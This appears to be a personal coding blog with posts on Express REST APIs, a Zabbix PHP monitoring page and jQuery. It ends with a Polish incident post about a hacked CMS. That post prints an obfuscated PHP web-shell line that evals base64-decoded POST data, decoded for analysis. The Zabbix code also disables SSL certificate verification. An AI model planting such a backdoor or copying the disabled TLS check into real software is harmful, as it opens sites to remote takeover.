Learn REACT with node.js

How to learn JS? For me best way it is practice programing… just write the code like some examples below.

But first some preliminary tasks.

Tools stack

Instal

Install express.js and nodemon

$ npm install express --save
$ npm install nodemon --save

Code

First example is about REST with express.js

Create directory rest and init git repozitory. To add a remote, just do

cd "path to your repo"
git init
git add . # if you want to commit everything. Otherwise use .gitconfig files
git commit -m "initial commit" # If you change anything, you can add and commit again...
var stack = [];
stack.push(2);       // stack is now [2]
stack.push(5);       // stack is now [2, 5]
var i = stack.pop(); // stack is now [2]
alert(i);            // displays 5

var queue = [];
queue.push(2);         // queue is now [2]
queue.push(5);         // queue is now [2, 5]
var i = queue.shift(); // queue is now [5]
alert(i); 

Event emitter

Event logger class

const EventEmitter = require('events');

class Logger extends EventEmitter {
    constructor() {
        super();
        this.messageStore = [];
    }

    log(eventArg) {
        console.log('[Logger.log(message)]:', eventArg.id, eventArg.url);
        this.emit('messageLogged', eventArg);
        this.messageStore.push(eventArg.url);
        //console.log(this.messageStore.pop());

        var propValue;
        for (var propName in this.messageStore) {
            propValue = this.messageStore[propName];
            console.log('>', propName, propValue);
        }
    }
}
module.exports = Logger;

Starting with release 4.16.0, a new express.json() middleware is available.

var express = require('express');
var app = express();

app.use(express.json());

app.post('/', function(request, response){
  console.log(request.body);      // your JSON
   response.send(request.body);    // echo the result back
});

app.listen(3000);

So our program will looks like this:

const express = require('express');
var bodyParser = require('body-parser');
var multer = require('multer'); // v1.0.5
var upload = multer(); // for parsing multipart/form-data

var app = express();
app.use(express.json());

var courses = [{
    id: 1,
    name: 'course1'
}, {
    id: 2,
    name: 'course2'
}, {
    id: 3,
    name: 'course3'
}, {
    id: 4,
    name: 'course4'
}, {
    id: 5,
    name: 'course5'
}, {
    id: 6,
    name: 'course6'
}];



app.get('/api/courses/:id', function (request, response) {
    var course = courses.find(c => c.id === parseInt(request.params.id));
    if (!course) response.status(404).send(`The course with the given ID ${request.params.id} not exist in courses`);
    response.send(course);
});

app.get('/api/courses', function (request, response) {
    if (courses.length < 1) response.status(404).send('The courses not exist');
    response.send(courses);
});

app.post('/api/courses', upload.array(), (request, response, next) => {
    console.log("Got response: " + response.statusCode);
    console.log('Request body: ', request.body);
    // console.log('request =' + JSON.stringify(request.body))
    if (!request.body.name || request.body.length < 3) {
        response.status(400).send('Name is required and should be sent to in JSON');
        return;
    }
    const course = {
        id: courses.length + 1,
        name: request.params.name
    };

    courses.push(course);
    response.json(request.body);
    response.send(course);
});

app.get('/', function (request, res) {
    res.send('Hello World!');
});

const port = process.env.PORT || 3000;
app.listen(3000, () => console.log(`Listen on port ${port}...`));

Hits: 0

“A Guide to Becoming a Full-Stack Developer in 2017”

Being a Full-Stack Developer doesn’t mean that you have necessarily mastered everything required to work with the front-end or back-end, but it means that you are able to work on both sides and understand what is going on when building an application.

Full-Stack Web Development, according to the Stack Overflow 2016 Developer Survey, is the most popular developer occupation today. It’s no wonder then that there are dozens of online and in-person programs that will help people become Full-Stack Developers and then even assist these new developers land high-paying programming jobs.

Some popular online programs can be found on Lynda, Udacity, Coursera, Thinkful, General Assembly, and so much more. Aside from these online programs, there are also in-person coding bootcamps that are teaching people the skills required to become web developers.

In this article I won’t be discussing which websites or coding bootcamps have the best web development programs, instead I will be providing a definitive guide to what I believe are the most important skills required to become a Full-Stack Web Developer today and land a job if you’ve never coded before. I will be basing the list off of three things:

  1. A combination of what most programs in 2017 are teaching students.
  2. My own personal experiences from interviewing at companies for developer positions in the past and also interviewing potential candidates for current Full-Stack Developer positions at my current company.
  3. Stories and feedback from people on Coderbyte who have been accepted to coding bootcamps and then proceeded to get programming jobs (see below).

 

“A Guide to Becoming a Full-Stack Developer in 2017” @borowskidaniel https://medium.com/coderbyte/a-guide-to-becoming-a-full-stack-developer-in-2017-5c3c08a1600c

Hits: 23

React continues to dominate the front-end landscape

“React continues to dominate the front-end landscape, and 2017 provided one of the most anticipated releases yet with version 16. It includes the fiber architecture which enables asynchronous UI rendering. This release also makes it much easier to manage unexpected application failures by providing error boundaries along with many other features.”

@TreyHuffine https://levelup.gitconnected.com/a-recap-of-front-end-development-in-2017-7072ce99e727

Hits: 10

Alternative way monitoring Zabbix via PHP API

Purpose create this project

Display: alarms, warnings from Zabbix on PHP page. In this case I had to show some information about my services on independent web page.

Set enviroment for Zabbix PHP API

What you need to start:

  1. Zabbix API 2+ – doc: https://www.zabbix.com/documentation/, download: https://www.zabbix.com/download
  2. Apache 2.4+
  3. PHP 7+
  4. Bootstap 3+
  5. I have defined some alarms in Zabbix and I want to observe it in “application”. Just use https://github.com/confirm/PhpZabbixApi and https://www.zabbix.com/documentation/2.2/manual/api
  6. Fronted i use Bootstrap http://getbootstrap.com/javascript/#buttons and some additional lib’s https://datatables.net/extensions/index it is good effective way to make it simple an easy.
  7. Git (Btubucket, Github)

Work set

Zabbix PHP API

PhpZabbixApi is an open-source PHP class library to communicate with the Zabbix™ JSON-RPC API. Because PhpZabbixApi is generated directly from the origin Zabbix™ 2.0 PHP front-end source code / files, each real Zabbix™ JSON-RPC API method is implemented (hard-coded) directly as an own PHP method. This means PhpZabbixApi is IDE-friendly, because you’ve a PHP method for each API method, and there are no PHP magic functions or alike.

Bootstrap

Bootstrap is the most popular HTML, CSS, and JS framework for developing responsive, mobile first projects on the web.

Source code on Bitbucket

<?php
/**
 * ZabbixAPI_class.php Copyright 2017 by Karol Preiskorn
 *
 * @version 18.03.2017 21:35:17 Karol Preiskorn Init
 * @version 19.03.2017 16:37:59 KPreiskorn ZabbixAPI_class.php Export to BB
 *
 */
require_once 'PhpZabbixApi-2.4.5/build/ZabbixApi.class.php';
include 'header.php';

use ZabbixApi\ZabbixApi;

/**
 *
 * @todo add LDAP via uptime
 *
 * @var string $uri
 *
 */

$uri = "http://zabixx";
$username = "user";
$password = "pass";

// set passwords and uri
include "passwords.php";

/**
 * poor print_r function
 *
 * @param unknown $val
 *
 */
function print_r2($val)
{
    echo '<pre>';
    print_r($val);
    echo '</pre>';
}

/**
 * Better print_r function
 */
function obsafe_print_r($var, $return = false, $html = true, $level = 0)
{
    $spaces = "";
    $space = $html ? " " : " ";
    $newline = $html ? "<br />" : "\n";
    for ($i = 1; $i <= 6; $i ++) {
        $spaces .= $space;
    }
    $tabs = $spaces;
    for ($i = 1; $i <= $level; $i ++) {
        $tabs .= $spaces;
    }
    if (is_array($var)) {
        $title = "Array";
    } elseif (is_object($var)) {
        $title = get_class($var) . " Object";
    }
    $output = "<b>" . $title . "</b>" . $newline . $newline;
    foreach ($var as $key => $value) {
        if (is_array($value) || is_object($value)) {
            $level ++;
            $value = obsafe_print_r($value, true, $html, $level);
            $level --;
        }
        $output .= $tabs . "[" . $key . "] => [" . $value . "]" . $newline;
    }
    if ($return)
        return $output;
    else
        echo "<pre>" . $output . "</pre>";
}

/**
 *
 * Generate bootstrap table with headers and coun of elements
 *
 * @param string $title
 * @param unknown $count
 * @param unknown $id
 */
function print_table_header($title, $count, $headers, $id)
{
    print('<div class="panel panel-default">' . "\n");
    print('<div class="panel-heading">' . $title . ' <a href="#"> <span class="badge">' . $count . '</span></a></div>' . "\n");
    print("<table id='" . $id . "' class='table table-striped table-bordered'>" . "\n");

    print("<thead><tr>" . "\n");
    foreach ($headers as $header) {
        print("<th>" . $header . "</th>" . "\n");
    }
    print("</tr>\n</thead>\n<tbody>" . "\n");
}

try {
    // connect to Zabbix API
    $api = new ZabbixApi($uri, $username, $password);

    // get all graphs
    $alerts = $api->alertGet();
    // print_r2 ( $graphs [0] );

    arsort($alerts);

    $headers = array(
        "Alert Id",
        "Event Id",
        "Date time",
        "Sent to",
        "Subject",
        "Message"
    );

    print_table_header('Alerts', count($alerts), $headers, 'alarms');

    // print all alerts
    foreach ($alerts as $alert) {
        if ($alert->sendto != "karol.preiskorn@t-mobile.pl") {
            if (strpos($alert->subject, "PROBLEM:") !== false) {
                $alerttype = "class='warning'";
            } else {
                $alerttype = "class='normal'";
            }
            if (preg_match("/Original event ID: ([0-9]{4,12})/", $alert->message, $regs)) {
                $eventid_org = "[link: <a href='#" . $regs[1] . "'>" . $regs[1] . "</a>]";
            } else {
                $eventid_org = "Not found Original event ID";
            }
            printf("<tr id='%s' %s><td>%s</td><td>%s</td><td>%s</td><td>%s</td><td>%s</td><td>%s</td></tr>" . "\n", $alert->eventid, $alerttype, $alert->alertid, $alert->eventid, date("Y-m-d h:i", $alert->clock), $alert->sendto, $alert->subject, $alert->message . " " . $eventid_org);
        }
    }
    print("</tbody>\n</table>\n</div>\n");

    // get all graphs
    $graphs = $api->graphGet();
    $header_graph = array(
        "Graph Id",
        "Description"
    );
    print_table_header('Graph', count($graphs), $header_graph, 'graph');

    // print all graph IDs
    foreach ($graphs as $graph) {
        printf("<tr><td>%8d</td><td>%s</td></tr>\n", $graph->graphid, $graph->name);
    }
    print("</tbody>\n</table>\n</div>\n");

    print('<div class="panel-footer">

        <p>© T-Mobile Polska Company | OSS development powered by Karol Preiskorn | internal use</p>

      </div>');
    print("</div></body></html>"); // end of container

    // print "<h1>Alerts... agian in raw</h2>";
                                       // obsafe_print_r ( $alerts, FALSE, TRUE );
} catch (Exception $e) {
    // Exception in ZabbixApi catched
    echo $e->getMessage();
}
?>

<?php
/**
 *
 * HTML 5
 *
 */
?>
<!DOCTYPE html>
<html>
<head>
<title>Zabbix</title>

<link rel="stylesheet" type="text/css"
	href="https://cdn.datatables.net/v/bs-3.3.7/jq-2.2.4/dt-1.10.13/af-2.1.3/b-1.2.4/b-colvis-1.2.4/fh-3.1.2/kt-2.2.0/r-2.1.1/rr-1.2.0/sc-1.4.2/se-1.2.0/datatables.min.css" />
<script type="text/javascript"
	src="https://cdn.datatables.net/v/bs-3.3.7/jq-2.2.4/dt-1.10.13/af-2.1.3/b-1.2.4/b-colvis-1.2.4/fh-3.1.2/kt-2.2.0/r-2.1.1/rr-1.2.0/sc-1.4.2/se-1.2.0/datatables.min.js"></script>

<script>
$(document).ready(function() {
    $('#alarms').DataTable( {
        deferRender:    true,
        scrollY:        400,
        scrollCollapse: false,
        scroller:       false
    } );
} );


$(document).ready(function() {
	$('#graph').DataTable({
        deferRender:    true,
        scrollY:        400,
        scrollCollapse: false,
        scroller:       false
    } );
} );
</script>

</head>

<body>
	<div class="container">
		<div class="jumbotron">
			<h1>Zabbix Alarm monitoring</h1>
			<p>Aplikacja monitoruje alarmy z Zabbix.</p>

			<a class="btn btn-primary btn-lg"
				href="http://wrex/zabbix/zabbix.php?action=dashboard.view"
				role="button">Zabbix Dashboard</a> <a class="btn btn-lg"
				href="#alarms" role="button">Alarms</a> <a class="btn btn-lg"
				href="#graph" role="button">Graph</a> <a class="btn btn-lg"
				href="simple-json.php" role="button">Simple JSON</a>


			<button class="btn btn-primary" type="button" data-toggle="collapse"
				data-target="#collapseExample" aria-expanded="false"
				aria-controls="collapseExample">About</button>


			<div class="collapse" id="collapseExample">
				<div class="well">Aplikacja monitoruje alarmy z OSS Zabbix na
					serwerze wrex. Dost�p do API poprzez klas� PHP -> ZabbixApi. Opis
					API
					https://www.zabbix.com/documentation/2.2/manual/api/reference/history/get
				</div>
			</div>

		</div>

<?php

/**
 * Zabbix monitoring in PHP
 *
 * @author Karol Preiskorn
 *
 * @version 2017-04-16 KP init
 * @version 17.03.2017 14:47:16 Karol Preiskorn dodanie informacji na temat Alert�w
 * @version 17.03.2017 18:07:38 Karol Preiskorn - dodanie synchronizacji
 * @version 9 gru 2017 12:47:16 KPreiskorn simple-json.php add composer and manage password
 *
 *
 *
 * phpinfo ();
 *
 */
$uri = "http://zabixx";
$username = "user";
$password = "pass";

// set passwords and uri
include "passwords.php";
/**
 *
 * @param unknown $in
 * @param number $indent
 * @param string $from_array
 * @return string
 */
function json_readable_encode($in, $indent = 0, $from_array = true) {
	$_myself = __FUNCTION__;
	$_escape = function ($str) {
		return preg_replace ( "!([\b\t\n\r\f\"\\'])!", "\\\\\\1", $str );
	};

	$out = '';

	foreach ( $in as $key => $value ) {
		$out .= str_repeat ( "\t", $indent + 1 );
		$out .= "\"" . $_escape ( ( string ) $key ) . "\": ";

		if (is_object ( $value ) || is_array ( $value )) {
			$out .= "\n";
			$out .= $_myself ( $value, $indent + 1 );
		} elseif (is_bool ( $value )) {
			$out .= $value ? 'true' : 'false';
		} elseif (is_null ( $value )) {
			$out .= 'null';
		} elseif (is_string ( $value )) {
			$out .= "\"" . $_escape ( $value ) . "\"";
		} else {
			$out .= $value;
		}

		$out .= ",\n";
	}

	if (! empty ( $out )) {
		$out = substr ( $out, 0, - 2 );
	}

	$out = str_repeat ( "\t", $indent ) . "{\n" . $out;
	$out .= "\n" . str_repeat ( "\t", $indent ) . "}";

	return $out;
}

/**
 *
 * @param unknown $array
 */
function expand_arr($array) {
	foreach ( $array as $key => $value ) {
		if (is_array ( $value )) {
			echo "<i>" . $key . "</i>:<br>";
			expand_arr ( $value );
			echo "<br>\n";
		} else {
			echo "<i>" . $key . "</i>: " . $value . "<br>\n";
		}
	}
}
/**
 *
 * @param unknown $uri
 * @param unknown $data
 * @return mixed
 */
function json_request($uri, $data) {
	$json_data = json_encode ( $data );
	$c = curl_init ();
	curl_setopt ( $c, CURLOPT_URL, $uri );
	curl_setopt ( $c, CURLOPT_CUSTOMREQUEST, "POST" );
	curl_setopt ( $c, CURLOPT_RETURNTRANSFER, true );
	curl_setopt ( $c, CURLOPT_POST, $json_data );
	curl_setopt ( $c, CURLOPT_POSTFIELDS, $json_data );
	curl_setopt ( $c, CURLOPT_HTTPHEADER, array (
			'Content-Type: application/json',
			'Content-Length: ' . strlen ( $json_data )
	) );
	curl_setopt ( $c, CURLOPT_SSL_VERIFYPEER, false );
	$result = curl_exec ( $c );

	echo "<b>JSON Request:</b><br>\n";
	echo $json_data . "<br><br>\n";

	echo "<b>JSON Answer:</b><br>\n";
	echo $result . "<br><br>\n";

	/*
	 * echo "<b>CURL Debug Info:</b><br>\n";
	 * $debug = curl_getinfo ( $c );
	 * echo expand_arr ( $debug ) . "<br><hr>\n";
	 */

	return json_decode ( $result, true );
}
/**
 *
 * @param unknown $uri
 * @param unknown $username
 * @param unknown $password
 * @return unknown
 */
function zabbix_auth($uri, $username, $password) {
	$data = array (
			'jsonrpc' => "2.0",
			'method' => "user.login",
			'params' => array (
					'user' => $username,
					'password' => $password
			),
			'id' => "1"
	);
	$response = json_request ( $uri, $data );
	return $response ['result'];
}

/**
 *
 * @param unknown $uri
 * @param unknown $authtoken
 * @return unknown
 */
function zabbix_get_hostgroups($uri, $authtoken) {
	$data = array (
			'jsonrpc' => "2.0",
			'method' => "hostgroup.get",
			'params' => array (
					'output' => "extend",
					'sortfield' => "name"
			),
			'id' => "2",
			'auth' => $authtoken
	);
	$response = json_request ( $uri, $data );
	return $response ['result'];
}
/**
 *
 * @param unknown $uri
 * @param unknown $authtoken
 */
function zabbix_get_alert($uri, $authtoken) {
	$data = array (
			"jsonrpc" => "2.0",
			"method" => "alert.get",
			"params" => array (
					"output" => "extend",
					"actionids" => "3"
			),
			"auth" => $authtoken,
			"id" => 1
	);
	$response = json_request ( $uri, $data );
	return $response ['result'];
}

/**
 *
 * @var Ambiguous $authtoken
 */
print "<h1>Auth</h1>";
$authtoken = zabbix_auth ( $uri, $username, $password );

print "<h1>HostGrups</h1>";
expand_arr ( zabbix_get_hostgroups ( $uri, $authtoken ) );
print "<h2>json_readable_encode</h2>";
json_readable_encode ( zabbix_get_hostgroups ( $uri, $authtoken ) );
print "<h1>Alerts</h1>";
expand_arr ( zabbix_get_alert ( $uri, $authtoken ) );
?>

Hits: 685

Interfaces in Java – slideshare tutorial

Tutoriale jak definiować i używać interfejsów w Java oraz czym się różni interfejs od abstract class.

Interface in Java

  • Introduction to Interface
  • Multiple Inheritance – Example
  • Why Interfaces are needed
  • Java’s Interface Concept
  • Syntax
  • Semantic Rules for Interfaces
  • Example: An Interface for Shape Classes
  • Extending Interface
  • Abstract class and Interface
  • Benefits of Interfaces
  • Java’s Most used Interfaces

ABSTRACT CLASS & INTERFACE

  • What is interface?
  • How to define interface?
  • How to use interface?
  • Why not use abstract class instead of interface?
  • UML of interface
  • Importance of interface
  • Different between interface and abstract class
  • Notes for interface
  • Class Design Guidline
  • Last words

 

 

Hits: 11

Show hide jQuery and DIV

I had to problem. A lot information to show on one web page and I have to read it all on one page. The best solution I came up with was to make a hiding to text blocks. So i try write short jQuery program according discussion at http://stackoverflow.com/questions/6967081/show-hide-multiple-divs-with-jquery i rewrite one of these solution it to my purposes.

HTML

<div class="buttons">
<a id="showall">Show All</a><br />
<a id="hideall">Hide All</a><br />
<a class="showSingle" target="1">show Div1</a> <a class="hideSingle" target="1">hide Div1</a><br />
<a class="showSingle" target="2">show Div2</a> <a class="hideSingle" target="2">hide Div2</a><br />
<a class="showSingle" target="3">show Div3</a> <a class="hideSingle" target="3">hide Div3</a><br />
<a class="showSingle" target="4">show Div4</a> <a class="hideSingle" target="4">hide Div4</a><br />
</div>
<div id="div1" class="targetDiv">1. Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.</div>
<div id="div2" class="targetDiv">2. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.</div>
<div id="div3" class="targetDiv">3. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur.</div>
<div id="div4" class="targetDiv">4. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</div>

jQuery

jQuery(function () {
jQuery('#showall').click(function () {
jQuery('.targetDiv').show();
});
jQuery('#hideall').click(function () {
jQuery('.targetDiv').hide();
});
jQuery('.showSingle').click(function () {
// jQuery('.targetDiv').hide();
jQuery('#div' + jQuery(this).attr('target')).show();
});
jQuery('.hideSingle').click(function () {
jQuery('#div' + jQuery(this).attr('target')).hide();
});
});

All http://jsfiddle.net/kpreiskorn/m5xmwvhw/11/

Hits: 4

Hackowanie CMS-ów

Wreszcie się doczekałem ktoś włamał się na stronę którą przygotowałem dziś dzień czyszczenia z wirusów smile emoticon i zabezpieczania CMS-a. W tym krótkim wątku podsumuję w jaki sposób zabezpieczyć się przed włamaniem do CMS (Drupal i WordPress).

Site został najpierw spamowany. Przez nie wykasowany moduł edytora ckeditor. Podejrzany kod:

<?php $sF="PCT4BA6ODSE_";
 $s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);
 $s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n33beb2'];if(isset($s22)){eval($s21($s22));} ?>

Po zdekodowaniu wygląda to tak:

s21 = base64_decode
s22 =
strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]) = _POST
eval($s21($s22)) =

Zainfekowanych zostało około 30 plików.

Hits: 5

Proudly powered by WordPress | Theme: Baskerville 2 by Anders Noren.

Up ↑